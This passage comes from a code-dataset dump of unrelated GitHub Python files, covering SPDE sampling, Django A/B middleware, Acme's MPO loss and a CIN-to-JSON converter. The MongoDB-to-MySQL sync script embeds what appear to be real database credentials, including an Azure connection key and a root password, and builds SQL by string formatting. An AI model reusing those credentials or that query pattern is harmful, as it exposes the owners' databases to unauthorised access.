0.5,xi)) / sqrt(N)\n X=np.real(Z)\n Y=np.imag(Z)\n return X,Y\n\ndef circulant_embed_sample(c):\n \"\"\"\n A6.8 Page 247\n \"\"\"\n # create first column of C_tilde\n tilde_c=np.hstack([c,c[-2:0:-1]])\n # obtain 2 samples from N(0,C_tilde)\n X,Y=circ_cov_sample(tilde_c)\n # extract samples from N(0,C)\n N=c.size; X=X[0:N]; Y=Y[0:N]\n return X,Y\n\ndef circulant_exp(N,dt,ell):\n \"\"\"\n A6.9 Page 248\n \"\"\"\n t=np.arange(N)*dt; \n c=np.exp(- np.abs(t) / ell)\n X,Y=circulant_embed_sample(c)\n return t,X,Y# deleted last return value c\n\ndef circulant_embed_approx(c):\n \"\"\"\n A6.10 Page 251\n \"\"\"\n tilde_c=np.hstack([c,c[-2:0:-1]])\n tilde_N=tilde_c.size\n d=np.real(ifft(tilde_c)) * tilde_N\n d_minus=np.maximum(- d,0)\n d_pos=np.maximum(d,0)\n if (np.max(d_minus) > 0):\n print('rho(D_minus)={x:0.5g}'.format(x=np.max(d_minus)))\n xi=np.dot(np.random.randn(tilde_N,2), [1,1j])\n Z=fft(np.multiply(d_pos ** 0.5,xi)) / sqrt(tilde_N)\n N=c.size; X=np.real(Z[0:N]); Y=np.imag(Z[0:N])\n return X,Y\n\n\ndef circulant_wm(N,M,dt,q):\n \"\"\"\n A6.11 Page 252\n \"\"\"\n Ndash=N + M - 1\n c=np.zeros(Ndash + 1)\n T=(Ndash+1)*dt; t=np.linspace(0,T,Ndash+1)\n c[0]=1 # t=0 is special, due to singularity in Bessel fn\n const=2 ** (q - 1) * gamma(q)\n for i in range(1,Ndash + 1):\n c[i]=(t[i] ** q) * scipy.special.kv(q,t[i]) / const\n X,Y=circulant_embed_approx(c)\n X=X[0:N]; Y=Y[0:N]; t=t[0:N]\n return t,X,Y,c\n#\ndef fig6_3():\n noSamples=10\n J=3200; dt=1/J\n fc=np.zeros(J+2)\n \n for m in range(noSamples):\n sq_rt_lambda=sqrt(2);\n xi=np.random.randn(J+1)\n coeffs=sq_rt_lambda*xi\n y2=np.hstack([0,icspde_dst1(coeffs),0]);\n f,nu=spectral_density(y2,1)\n fc=fc+f\n fc=fc/noSamples\n poly=0*fc+1/(2*pi)\n plt.figure(1)\n ch0.PlotSetup()\n plt.loglog(nu,f,'b.')\n plt.loglog(nu,fc,'k-')\n plt.loglog(nu,poly,'k-.')\n plt.xlabel(r'$\\nu$')\n plt.ylabel(r'$f(\\nu)$')\n plt.savefig('fig6_3.pdf',bbox_inches='tight')\n\n\n #\ndef fig6_4():\n noSamples=10\n J=3200; dt=1/J\n fc=np.zeros(J)\n for m in range(noSamples):\n t,X,Y=circulant_exp(J+1,dt,1)\n print(X.shape)\n f,nu=spectral_density(X,1)\n fc=fc+f\n fc=fc/noSamples\n poly=(1/pi)/(1+nu**2)\n plt.figure(1)\n ch0.PlotSetup()\n plt.loglog(nu,f,'b.')\n plt.loglog(nu,fc,'k-')\n plt.loglog(nu,poly,'k-.')\n plt.xlabel(r'$\\nu$')\n plt.ylabel(r'$f(\\nu)$')\n plt.savefig('fig6_4.pdf',bbox_inches='tight')\n\n #\ndef fig6_5():\n # todo :-(\n J=100\n T=1\n ell=0.1\n XJ=fkl_1d(J,T,ell)\n print(XJ)\n\ndef fig6_7():\n t=np.linspace(0,20,200)\n Z=quad_sinc(t,100,2)\n plt.figure(1)\n ch0.PlotSetup()\n plt.plot(t,np.real(Z))\n plt.plot(t,np.imag(Z))\n plt.xlabel(r'$t$')\n plt.ylabel(r'$Z$')\n plt.savefig('fig6_7b.pdf',bbox_inches='tight')\n#\n \ndef fig6_6():\n T=30\n N=2**9\n t=np.linspace(0,T,N)\n M=N/4\n vector_q=[0.5,1,1.5,2]\n ch0.PlotSetup()\n for i in range(1,5):\n q=vector_q[i-1]\n X,Y=quad_wm(t,N,M,q)\n plt.subplot(2,2,i)\n plt.plot(t,X)\n plt.plot(t,Y)\n plt.xlabel(r'$t$')\n plt.ylabel(r'$X$') \n plt.savefig('fig6_6.pdf',bbox_inches='tight')\n#\ndef exa6_62():\n [x,y]=circ_cov_sample(np.array([3,2,1,2]))\n print(\"x=\",x,\"\\n y=\",y)\n#\ndef exa6_64():\n [x,y]=circulant_embed_sample(np.array([5,2,3,4]))\n print(\"x=\",x,\"\\n y=\",y)\ndef fig6_9():\n N=int(1e3)\n dt=1/(N-1)\n t,X,Y=circulant_exp(N,dt,1)\n ch0.PlotSetup()\n plt.plot(t,X)\n plt.plot(t,Y)\n plt.xlabel(r'$t$')\n plt.ylabel(r'$X$')\n plt.savefig('fig6_9.pdf',bbox_inches='tight')\n #\ndef exa6_59():\n N=100; M=9900; dt=1/(N-1)\n t,X,Y,c=circulant_wm(N,M,dt,3)\n \n","repo_name":"tonyshardlow/PICSPDE","sub_path":"ch6.py","file_name":"ch6.py","file_ext":"py","file_size_in_byte":7616,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"18"} +{"seq_id":"29761033166","text":"from models import Test, TestResult\nfrom logging import getLogger\nfrom settings import AB_TEST_ACTIVE, AB_TEST_LOGGER_MIDDLEWARE, AB_TEST_SESSION_NAME, AB_TEST_REQUEST_NAME, AB_TEST_FAIL_SILENT_MIDDLEWARE\n\nclass ABTestRequest(dict):\n\n def __getattr__(self,name):\n \"\"\"\n Make the values (the testResults) available per name.\n \"\"\"\n for key, value in self.items():\n if key.name == name:\n return value.experiment\n\nclass RequestMiddleware(object):\n\n def process_request(self, request):\n #noinspection PyBroadException\n if not AB_TEST_ACTIVE:\n return None\n try:\n sessionTests = request.session.get(AB_TEST_SESSION_NAME, {})\n if sessionTests is None: sessionTests = {}\n newSessionTests = {}\n requestTests = ABTestRequest()\n for activeTest in Test.objects.filter(active=True):\n if activeTest.pk in sessionTests and TestResult.objects.filter(pk=sessionTests[activeTest.pk]).exists():\n activeTestResult = TestResult.objects.get(pk=sessionTests[activeTest.pk])\n else:\n activeTestResult = TestResult.chooseExperiment(request, activeTest)\n newSessionTests[activeTest.pk] = activeTestResult.pk\n requestTests[activeTest] = activeTestResult\n request.session[AB_TEST_SESSION_NAME] = newSessionTests\n setattr(request, AB_TEST_REQUEST_NAME, requestTests)\n except Exception as ex:\n getLogger(AB_TEST_LOGGER_MIDDLEWARE).error(\"error processing request: %s\", ex)\n if not AB_TEST_FAIL_SILENT_MIDDLEWARE:\n raise\n\n return None\n\n\n\n","repo_name":"camillo/django-abTest","sub_path":"abTest/middleware.py","file_name":"middleware.py","file_ext":"py","file_size_in_byte":1722,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"7531750102","text":"import os\nimport glob\nimport pymeshlab as ml\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nimport argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--mode', type=str, default='output', help='For After: output for Before: bunny')\nargs = parser.parse_args()\n\n# Replace the wildcard with the appropriate folder path containing PTS files\nfolder_path = \"./{}\".format(args.mode)\npts_files = glob.glob(os.path.join(folder_path, \"*.pts\"))\n\n# Create a 3D plot using Matplotlib\nfig = plt.figure()\nax = fig.add_subplot(111, projection='3d')\n\n# Load and plot the paired PTS and XF files\nfor pts_file_path in pts_files:\n # Check if the corresponding XF file exists\n xf_file_path = pts_file_path.replace(\".pts\", \".xf\")\n if not os.path.exists(xf_file_path):\n print(f\"XF file not found for {pts_file_path}. Skipping...\")\n continue\n\n # Create a MeshLab project\n ms = ml.MeshSet()\n\n # Load the current PTS file\n ms.load_new_mesh(pts_file_path)\n\n # Get the vertex coordinates\n vertices = ms.current_mesh().vertex_matrix()\n\n # Check if the vertices array is empty\n if vertices.size == 0:\n print(f\"Failed to load {pts_file_path}. Skipping...\")\n continue\n\n # Read the corresponding XF file\n with open(xf_file_path, 'r') as file:\n lines = file.readlines()\n transformation_matrix = np.array([list(map(float, line.split())) for line in lines])\n\n # Apply the transformation to the vertices\n homogeneous_coords = np.hstack((vertices, np.ones((vertices.shape[0], 1))))\n transformed_vertices = np.dot(homogeneous_coords, transformation_matrix.T)[:, :3]\n\n # Plot the transformed point cloud\n ax.scatter(transformed_vertices[:, 0], transformed_vertices[:, 1], transformed_vertices[:, 2], s=1, label=pts_file_path)\n\n# Set plot title and labels\nax.set_title('3D Scatter Plot of Meshes')\n\nax.set_axis_off() # Hide the axes\n\n# Show the plot\nplt.show()\n\n\n","repo_name":"baturalpguven/Stanford_Bunny_ICP","sub_path":"view_pts_3D_matplotlib.py","file_name":"view_pts_3D_matplotlib.py","file_ext":"py","file_size_in_byte":1973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"39098722561","text":"import pymongo\nimport pymysql\nimport threading\nimport datetime\n#import time\nfrom bson.objectid import ObjectId\n\nclass get_data:\n def __init__(self,from_address):\n myclient_from = pymongo.MongoClient (from_address)\n mydb_from = myclient_from['iotmanager']\n self.mycol_from = mydb_from['monitordata']\n\n self.db_mysql = pymysql.connect (\"210.14.69.108\", \"root\", \"1\", \"iot\")\n self.cursor = self.db_mysql.cursor ()\n\n\n\n def update_data(self):\n\n\n pastday = datetime.datetime.now()+datetime.timedelta(days=-10)\n # print(\"pastday:\",pastday)\n try:\n # 获得当前数据库中的最大id\n max_id_sql = \"SELECT _id FROM last_id ORDER BY id DESC LIMIT 1\"\n self.cursor.execute (max_id_sql)\n max_id = self.cursor.fetchall ()[0][0]\n\n try:\n # 存到本地数据库中\n myquery = {\"_id\": {\"$gt\": ObjectId(max_id)},\"Timestamp\": {\"$gt\": pastday}}\n # print('***********', myquery)\n saved_data_count = self.insert_many(myquery)\n print ('更新 %s 条数据' % saved_data_count)\n\n except:\n # 没有更新的数据\n print('无更新数据')\n pass\n except:\n # 当前数据库中无数据,获取所有数据,并写入\n myquery = {\"Timestamp\": {\"$gt\": pastday}}\n print('当前数据库无数据')\n saved_data_count = self.insert_many(myquery)\n print ('更新 %s 条数据_1' % saved_data_count)\n\n def insert_many(self, myquery):\n # 获得远程数据库中的剩余数据\n MonitorName_list = ['temp','noise','Humidity','X轴速度','Y轴速度','X轴位移','Y轴位移','Vibration']\n dbName_list = ['temperature', 'noise', 'humidity', 'speedx', 'speedy', 'locationx', 'locationy','vibration']\n update_data = self.mycol_from.find (myquery)\n print('myquery:',myquery)\n print('#############',update_data)\n count = 0\n for item in update_data:\n print('*****************',item['MonitorName'])\n if 'MonitorName' not in item or item['MonitorName'] not in MonitorName_list or 'Value' not in item or type( item['Value']) not in [type(1),type(1.1)]:\n\t\t\t\t\n continue\n MonitorName = dbName_list[MonitorName_list.index(item['MonitorName'])]\n \n\n value = item['Value']\n timestamp = item['Timestamp'].strftime (\"%Y-%m-%d %H:%M:%S\")\n # print(timestamp)\n sql = \"INSERT INTO {0} (time,value) VALUES ('{1}',{2}) \".format(MonitorName,timestamp,value)\n a = self.cursor.execute(sql)\n count += 1\n self.db_mysql.commit()\n\n if MonitorName == 'locationy':\n sql = \"UPDATE location set y = {0} WHERE time = '{1}' \".format(value, timestamp)\n a = self.cursor.execute (sql)\n if a == 0:\n sql = \"INSERT INTO location (time,y) VALUES ('{0}',{1}) \".format (timestamp, value)\n a = self.cursor.execute (sql)\n self.db_mysql.commit()\n elif MonitorName == 'locationx':\n sql = \"UPDATE location set x = {0} WHERE time = '{1}' \".format(value, timestamp)\n a = self.cursor.execute (sql)\n if a == 0:\n sql = \"INSERT INTO location (time,x) VALUES ('{0}',{1}) \".format (timestamp, value)\n a = self.cursor.execute (sql)\n self.db_mysql.commit()\n if not update_data:\n return 0\n # 更新所保存的最大_id\n update_id_sql = \"INSERT INTO last_id (_id) VALUES ('{0}') \".format (str(item['_id']))\n self.cursor.execute (update_id_sql)\n self.db_mysql.commit ()\n return count\n\n def clean_data(self):\n dbName_list_2 = ['temperature', 'noise', 'humidity', 'speedx', 'speedy', 'locationx', 'locationy','last_id','vibration','location']\n for i in dbName_list_2:\n sql_delete = 'DELETE FROM {0}'.format(i)\n self.cursor.execute (sql_delete)\n self.db_mysql.commit ()\n\n\n # 运行这个函数后,每秒钟执行一次\n def update_evevy_second(self):\n self.update_data ()\n timer = threading.Timer (1, getData.update_evevy_second)\n timer.start ()\n\n\nif __name__ == '__main__':\n \n address_1 = 'mongodb://shudev2:Etp13A3NROECpQeJ1GjTbkj7OqHfoukak17BwiMgcjw6g2ap5PPZsfraINEVJ1G34UtR2MHUJCTufvhAz2uwLQ==@shudev2.documents.azure.cn:10255/?ssl=true&replicaSet=globaldb'\n address_2 = 'mongodb://localhost:27017/'\n getData = get_data(address_1)\n\n # getData.clean_data()\n getData.update_evevy_second()\n\n","repo_name":"CharlesPoletowin/Boxdata-Backend","sub_path":"flask_socket/updateData.py","file_name":"updateData.py","file_ext":"py","file_size_in_byte":4775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"12582475271","text":"# @author: Gautam Patel\n# Problem Description URL: https://www.hackerrank.com/challenges/word-order/problem\n# Enter your code here. Read input from STDIN. Print output to STDOUT\nfrom collections import Counter\nl = []\nfor _ in range(int(input())):\n l.append(input())\n\nc = Counter(l)\nprint(len(set(l)))\nfor k in c:\n print(c[k], end=' ')\nprint('')","repo_name":"gautambp/HackerRank","sub_path":"Master/python3/word-order.py","file_name":"word-order.py","file_ext":"py","file_size_in_byte":350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"26516917445","text":"from typing import NamedTuple, Tuple\n\nimport distrax\nimport jax\nimport jax.numpy as jnp\n\n_MPO_FLOAT_EPSILON = 1e-8\n_MIN_LOG_TEMPERATURE = -18.0\n_MIN_LOG_ALPHA = -18.0\n\nDType = type(jnp.float32) # _ScalarMeta, a private type.\n\n\nclass CategoricalMPOParams(NamedTuple):\n \"\"\"NamedTuple to store trainable loss parameters.\"\"\"\n log_temperature: jnp.ndarray\n log_alpha: jnp.ndarray\n\n\nclass CategoricalMPOStats(NamedTuple):\n \"\"\"NamedTuple to store loss statistics.\"\"\"\n dual_alpha: float\n dual_temperature: float\n\n loss_e_step: float\n loss_m_step: float\n loss_dual: float\n\n loss_policy: float\n loss_alpha: float\n loss_temperature: float\n\n kl_q_rel: float\n kl_mean_rel: float\n\n q_min: float\n q_max: float\n\n entropy_online: float\n entropy_target: float\n\n\nclass CategoricalMPO:\n \"\"\"MPO loss for a categorical policy (Abdolmaleki et al., 2018).\n\n (Abdolmaleki et al., 2018): https://arxiv.org/pdf/1812.02256.pdf\n \"\"\"\n\n def __init__(self,\n epsilon: float,\n epsilon_policy: float,\n init_log_temperature: float,\n init_log_alpha: float):\n \"\"\"Initializes the MPO loss for discrete (categorical) policies.\n\n Args:\n epsilon: KL constraint on the non-parametric auxiliary policy, the one\n associated with the dual variable called temperature.\n epsilon_policy: KL constraint on the categorical policy, the one\n associated with the dual variable called alpha.\n init_log_temperature: initial value for the temperature in log-space, note\n a softplus (rather than an exp) will be used to transform this.\n init_log_alpha: initial value for alpha in log-space. Note that a softplus\n (rather than an exp) will be used to transform this.\n \"\"\"\n\n # MPO constraint thresholds.\n self._epsilon = epsilon\n self._epsilon_policy = epsilon_policy\n\n # Initial values for the constraints' dual variables.\n self._init_log_temperature = init_log_temperature\n self._init_log_alpha = init_log_alpha\n\n def init_params(self, action_dim: int, dtype: DType = jnp.float32):\n \"\"\"Creates an initial set of parameters.\"\"\"\n del action_dim # Unused.\n return CategoricalMPOParams(\n log_temperature=jnp.full([1], self._init_log_temperature, dtype=dtype),\n log_alpha=jnp.full([1], self._init_log_alpha, dtype=dtype))\n\n def __call__(\n self,\n params: CategoricalMPOParams,\n online_action_distribution: distrax.Categorical,\n target_action_distribution: distrax.Categorical,\n actions: jnp.ndarray, # Unused.\n q_values: jnp.ndarray, # Shape [D, B].\n ) -> Tuple[jnp.ndarray, CategoricalMPOStats]:\n \"\"\"Computes the MPO loss for a categorical policy.\n\n Args:\n params: parameters tracking the temperature and the dual variables.\n online_action_distribution: online distribution returned by the online\n policy network; expects batch_dims of [B] and event_dims of [D].\n target_action_distribution: target distribution returned by the target\n policy network; expects same shapes as online distribution.\n actions: Unused.\n q_values: Q-values associated with every action; expects shape [D, B].\n\n Returns:\n Loss, combining the policy loss, KL penalty, and dual losses required to\n adapt the dual variables.\n Stats, for diagnostics and tracking performance.\n \"\"\"\n\n q_values = jnp.transpose(q_values) # [D, B] --> [B, D].\n\n # Transform dual variables from log-space.\n # Note: using softplus instead of exponential for numerical stability.\n temperature = get_temperature_from_params(params)\n alpha = jax.nn.softplus(params.log_alpha) + _MPO_FLOAT_EPSILON\n\n # Compute the E-step logits and the temperature loss, used to adapt the\n # tempering of Q-values.\n logits_e_step, loss_temperature = compute_weights_and_temperature_loss( # pytype: disable=wrong-arg-types # jax-ndarray\n q_values=q_values, logits=target_action_distribution.logits,\n epsilon=self._epsilon, temperature=temperature)\n action_distribution_e_step = distrax.Categorical(logits=logits_e_step)\n\n # Only needed for diagnostics: Compute estimated actualized KL between the\n # non-parametric and current target policies.\n kl_nonparametric = action_distribution_e_step.kl_divergence(\n target_action_distribution)\n\n # Compute the policy loss.\n loss_policy = action_distribution_e_step.cross_entropy(\n online_action_distribution)\n loss_policy = jnp.mean(loss_policy)\n\n # Compute the regularization.\n kl = target_action_distribution.kl_divergence(online_action_distribution)\n mean_kl = jnp.mean(kl, axis=0)\n loss_kl = jax.lax.stop_gradient(alpha) * mean_kl\n\n # Compute the dual loss.\n loss_alpha = alpha * (self._epsilon_policy - jax.lax.stop_gradient(mean_kl))\n\n # Combine losses.\n loss_dual = loss_alpha + loss_temperature\n loss = loss_policy + loss_kl + loss_dual\n\n # Create statistics.\n stats = CategoricalMPOStats( # pytype: disable=wrong-arg-types # jnp-type\n # Dual Variables.\n dual_alpha=jnp.mean(alpha),\n dual_temperature=jnp.mean(temperature),\n # Losses.\n loss_e_step=loss_policy,\n loss_m_step=loss_kl,\n loss_dual=loss_dual,\n loss_policy=jnp.mean(loss),\n loss_alpha=jnp.mean(loss_alpha),\n loss_temperature=jnp.mean(loss_temperature),\n # KL measurements.\n kl_q_rel=jnp.mean(kl_nonparametric) / self._epsilon,\n kl_mean_rel=mean_kl / self._epsilon_policy,\n # Q measurements.\n q_min=jnp.mean(jnp.min(q_values, axis=0)),\n q_max=jnp.mean(jnp.max(q_values, axis=0)),\n entropy_online=jnp.mean(online_action_distribution.entropy()),\n entropy_target=jnp.mean(target_action_distribution.entropy()),\n )\n\n return loss, stats\n\n\ndef compute_weights_and_temperature_loss(\n q_values: jnp.ndarray,\n logits: jnp.ndarray,\n epsilon: float,\n temperature: jnp.ndarray,\n) -> Tuple[jnp.ndarray, jnp.ndarray]:\n \"\"\"Computes normalized importance weights for the policy optimization.\n\n Args:\n q_values: Q-values associated with the actions sampled from the target\n policy; expected shape [B, D].\n logits: Parameters to the categorical distribution with respect to which the\n expectations are going to be computed.\n epsilon: Desired constraint on the KL between the target and non-parametric\n policies.\n temperature: Scalar used to temper the Q-values before computing normalized\n importance weights from them. This is really the Lagrange dual variable in\n the constrained optimization problem, the solution of which is the\n non-parametric policy targeted by the policy loss.\n\n Returns:\n Normalized importance weights, used for policy optimization.\n Temperature loss, used to adapt the temperature.\n \"\"\"\n\n # Temper the given Q-values using the current temperature.\n tempered_q_values = jax.lax.stop_gradient(q_values) / temperature\n\n # Compute the E-step normalized logits.\n unnormalized_logits = tempered_q_values + jax.nn.log_softmax(logits, axis=-1)\n logits_e_step = jax.nn.log_softmax(unnormalized_logits, axis=-1)\n\n # Compute the temperature loss (dual of the E-step optimization problem).\n # Note that the log normalizer will be the same for all actions, so we choose\n # only the first one.\n log_normalizer = unnormalized_logits[:, 0] - logits_e_step[:, 0]\n loss_temperature = temperature * (epsilon + jnp.mean(log_normalizer))\n\n return logits_e_step, loss_temperature\n\n\ndef clip_categorical_mpo_params(\n params: CategoricalMPOParams) -> CategoricalMPOParams:\n return params._replace(\n log_temperature=jnp.maximum(_MIN_LOG_TEMPERATURE, params.log_temperature),\n log_alpha=jnp.maximum(_MIN_LOG_ALPHA, params.log_alpha))\n\n\ndef get_temperature_from_params(params: CategoricalMPOParams) -> float:\n return jax.nn.softplus(params.log_temperature) + _MPO_FLOAT_EPSILON\n","repo_name":"deepmind/acme","sub_path":"acme/agents/jax/mpo/categorical_mpo.py","file_name":"categorical_mpo.py","file_ext":"py","file_size_in_byte":7946,"program_lang":"python","lang":"en","doc_type":"code","stars":3100,"dataset":"github-code","pt":"18"} +{"seq_id":"33984333233","text":"from pytest_cookies.plugin import Cookies # type: ignore\n\nfrom tests.e2e.conftest import exec\nfrom tests.utils import inside_dir\n\n\ndef test_neuro_flow_live(cookies: Cookies) -> None:\n result = cookies.bake(\n extra_context={\n \"project_dir\": \"test-project\",\n \"project_id\": \"awesome_project\",\n }\n )\n with inside_dir(str(result.project_path)):\n proc = exec(\"neuro-flow --show-traceback ps\")\n assert \"JOB\" in proc.stdout, proc\n\n proc = exec(\"neuro-flow --show-traceback status train\", assert_exit_code=False)\n assert \"is not running\" in proc.stdout, proc\n\n proc = exec(\"neuro-flow --show-traceback run --dry-run train\")\n assert \"neuro run\" in proc.stdout, proc\n assert \"--tag=project:awesome-project\" in proc.stdout, proc\n","repo_name":"neuro-inc/cookiecutter-neuro-project-barebone","sub_path":"tests/e2e/test_live.py","file_name":"test_live.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"32049152618","text":"from __future__ import print_function\nfrom __future__ import unicode_literals\nimport io\nimport os\nimport re\nimport sys\nimport json\nimport copy\n\nDEBUG_MODE = False\nCIN_HEAD = \"%gen_inp\"\nENAME_HEAD = \"%ename\"\nCNAME_HEAD = \"%cname\"\nENCODING_HEAD = \"%encoding\"\nSELKEY_HEAD = \"%selkey\"\nKEYNAME_HEAD = \"%keyname\"\nCHARDEF_HEAD = \"%chardef\"\n\nPARSING_HEAD_STATE = 0\nPARSE_KEYNAME_STATE = 1\nPARSE_CHARDEF_STATE = 2\n\nHEADS = [\n CIN_HEAD,\n ENAME_HEAD,\n CNAME_HEAD,\n ENCODING_HEAD,\n SELKEY_HEAD,\n KEYNAME_HEAD,\n CHARDEF_HEAD,\n]\n\n\nclass CinToJson(object):\n\n # TODO check the possiblility if the encoding is not utf-8\n encoding = 'utf-8'\n\n def __init__(self):\n self.sortByCharset = False\n\n self.ename = \"\"\n self.cname = \"\"\n self.selkey = \"\"\n self.keynames = {}\n self.chardefs = {}\n self.dupchardefs = {}\n\n self.bopomofo = {}\n self.big5F = {}\n self.big5LF = {}\n self.big5S = {}\n self.big5Other = {}\n self.cjk = {}\n self.cjkExtA = {}\n self.cjkExtB = {}\n self.cjkExtC = {}\n self.cjkExtD = {}\n self.cjkExtE = {}\n self.cjkExtF = {}\n self.cjkCIibm = {}\n self.cjkOther = {}\n self.phrases = {}\n self.privateuse = {}\n\n self.cincount = {}\n self.cincount['bopomofo'] = 0\n self.cincount['big5F'] = 0\n self.cincount['big5LF'] = 0\n self.cincount['big5S'] = 0\n self.cincount['big5Other'] = 0\n self.cincount['cjk'] = 0\n self.cincount['cjkExtA'] = 0\n self.cincount['cjkExtB'] = 0\n self.cincount['cjkExtC'] = 0\n self.cincount['cjkExtD'] = 0\n self.cincount['cjkExtE'] = 0\n self.cincount['cjkExtF'] = 0\n self.cincount['cjkOther'] = 0\n self.cincount['phrases'] = 0\n self.cincount['cjkCI'] = 0\n self.cincount['cjkCIS'] = 0\n self.cincount['privateuse'] = 0\n self.cincount['totalchardefs'] = 0\n\n self.charsetRange = {}\n self.charsetRange['bopomofo'] = [int('0x3100', 16), int('0x3130', 16)]\n self.charsetRange['bopomofoTone'] = [int('0x02D9', 16), int('0x02CA', 16), int('0x02C7', 16), int('0x02CB', 16)]\n self.charsetRange['cjk'] = [int('0x4E00', 16), int('0x9FEB', 16)]\n self.charsetRange['big5F'] = [int('0xA440', 16), int('0xC67F', 16)]\n self.charsetRange['big5LF'] = [int('0xC940', 16), int('0xF9D6', 16)]\n self.charsetRange['big5S'] = [int('0xA140', 16), int('0xA3C0', 16)]\n self.charsetRange['cjkExtA'] = [int('0x3400', 16), int('0x4DB6', 16)]\n self.charsetRange['cjkExtB'] = [int('0x20000', 16), int('0x2A6D7', 16)]\n self.charsetRange['cjkExtC'] = [int('0x2A700', 16), int('0x2B735', 16)]\n self.charsetRange['cjkExtD'] = [int('0x2B740', 16), int('0x2B81E', 16)]\n self.charsetRange['cjkExtE'] = [int('0x2B820', 16), int('0x2CEA2', 16)]\n self.charsetRange['cjkExtF'] = [int('0x2CEB0', 16), int('0x2EBE1', 16)]\n self.charsetRange['pua'] = [int('0xE000', 16), int('0xF900', 16)]\n self.charsetRange['puaA'] = [int('0xF0000', 16), int('0xFFFFE', 16)]\n self.charsetRange['puaB'] = [int('0x100000', 16), int('0x10FFFE', 16)]\n self.charsetRange['cjkCIa'] = [int('0xF900', 16), int('0xFA0E', 16)]\n self.charsetRange['cjkCIb'] = [int('0xFA0E', 16), int('0xFA0F', 16), int('0xFA11', 16), int('0xFA13', 16), int('0xFA14', 16), int('0xFA1F', 16), int('0xFA21', 16), int('0xFA23', 16), int('0xFA24', 16), int('0xFA27', 16), int('0xFA28', 16), int('0xFA29', 16)]\n self.charsetRange['cjkCIc'] = [int('0xFA10', 16), int('0xFA12', 16), int('0xFA15', 16), int('0xFA16', 16), int('0xFA17', 16), int('0xFA18', 16), int('0xFA19', 16), int('0xFA1A', 16), int('0xFA1B', 16), int('0xFA1C', 16), int('0xFA1D', 16), int('0xFA1E', 16), int('0xFA20', 16), int('0xFA22', 16), int('0xFA25', 16), int('0xFA26', 16), int('0xFA2A', 16), int('0xFA2B', 16), int('0xFA2C', 16), int('0xFA2D', 16)]\n self.charsetRange['cjkCId'] = [int('0xFA2E', 16), int('0xFB00', 16)]\n self.charsetRange['cjkCIS'] = [int('0x2F800', 16), int('0x2FA20', 16)]\n\n self.haveHashtagInKeynames = [\"ez.cin\", \"ezsmall.cin\", \"ezmid.cin\", \"ezbig.cin\"]\n self.saveList = [\"ename\", \"cname\", \"selkey\", \"keynames\", \"cincount\", \"chardefs\", \"dupchardefs\", \"privateuse\"]\n self.curdir = os.path.abspath(os.path.dirname(__file__))\n\n\n def __del__(self):\n del self.keynames\n del self.chardefs\n del self.dupchardefs\n del self.bopomofo\n del self.big5F\n del self.big5LF\n del self.big5S\n del self.big5Other\n del self.cjk\n del self.cjkExtA\n del self.cjkExtB\n del self.cjkExtC\n del self.cjkExtD\n del self.cjkExtE\n del self.cjkExtF\n del self.cjkCIibm\n del self.cjkOther\n del self.privateuse\n del self.phrases\n del self.cincount\n\n self.keynames = {}\n self.chardefs = {}\n self.dupchardefs = {}\n self.bopomofo = {}\n self.big5F = {}\n self.big5LF = {}\n self.big5S = {}\n self.big5Other = {}\n self.cjk = {}\n self.cjkExtA = {}\n self.cjkExtB = {}\n self.cjkExtC = {}\n self.cjkExtD = {}\n self.cjkExtE = {}\n self.cjkExtF = {}\n self.cjkCIibm = {}\n self.cjkOther = {}\n self.privateuse = {}\n self.phrases = {}\n self.cincount = {}\n\n\n def run(self, file, filePath, sortByCharset):\n self.jsonFile = re.sub('\\.cin$', '', file) + '.json'\n self.sortByCharset = sortByCharset\n state = PARSING_HEAD_STATE\n\n if file in self.haveHashtagInKeynames:\n if DEBUG_MODE:\n print(\"字根含有 # 符號!\")\n\n with io.open(filePath, encoding='utf-8') as fs:\n for line in fs:\n line = re.sub('^ | $|\\\\n$', '', line)\n if file in self.haveHashtagInKeynames:\n if not line or (line[0] == '#' and state == PARSING_HEAD_STATE):\n continue\n else:\n if not line or line[0] == '#':\n continue\n\n if state is not PARSE_CHARDEF_STATE:\n if CIN_HEAD in line:\n continue\n\n if ENAME_HEAD in line:\n self.ename = head_rest(ENAME_HEAD, line)\n\n if CNAME_HEAD in line:\n self.cname = head_rest(CNAME_HEAD, line)\n\n if ENCODING_HEAD in line:\n continue\n\n if SELKEY_HEAD in line:\n self.selkey = head_rest(SELKEY_HEAD, line)\n\n if CHARDEF_HEAD in line:\n if 'begin' in line:\n state = PARSE_CHARDEF_STATE\n else:\n state = PARSING_HEAD_STATE\n continue\n\n if KEYNAME_HEAD in line:\n if 'begin' in line:\n state = PARSE_KEYNAME_STATE\n else:\n state = PARSING_HEAD_STATE\n continue\n\n if state is PARSE_KEYNAME_STATE:\n key, root = safeSplit(line)\n key = key.strip().lower()\n\n if ' ' in root:\n root = '\\u3000'\n else:\n root = root.strip()\n\n self.keynames[key] = root\n continue\n else:\n if CHARDEF_HEAD in line:\n continue\n\n if self.cname == \"中標倉頡\":\n if '#' in line:\n line = re.sub('#.+', '', line)\n\n key, root = safeSplit(line)\n key = key.strip().lower()\n\n if root == \"Error\":\n if DEBUG_MODE:\n print(\"發生錯誤!\")\n break\n\n if ' ' in root:\n root = '\\u3000'\n else:\n root = root.strip()\n\n charset = self.getCharSet(key, root)\n\n if not self.sortByCharset:\n if key in self.chardefs:\n if root in self.chardefs[key]:\n if DEBUG_MODE:\n print(\"含有重複資料: \" + key)\n try:\n self.dupchardefs[key].append(root)\n except KeyError:\n self.dupchardefs[key] = [root]\n else:\n try:\n self.chardefs[key].append(root)\n except KeyError:\n self.chardefs[key] = [root]\n self.cincount['totalchardefs'] += 1\n else:\n try:\n self.chardefs[key].append(root)\n except KeyError:\n self.chardefs[key] = [root]\n self.cincount['totalchardefs'] += 1\n\n if self.sortByCharset:\n if DEBUG_MODE:\n print(\"排序字元集!\")\n self.mergeDicts(self.big5F, 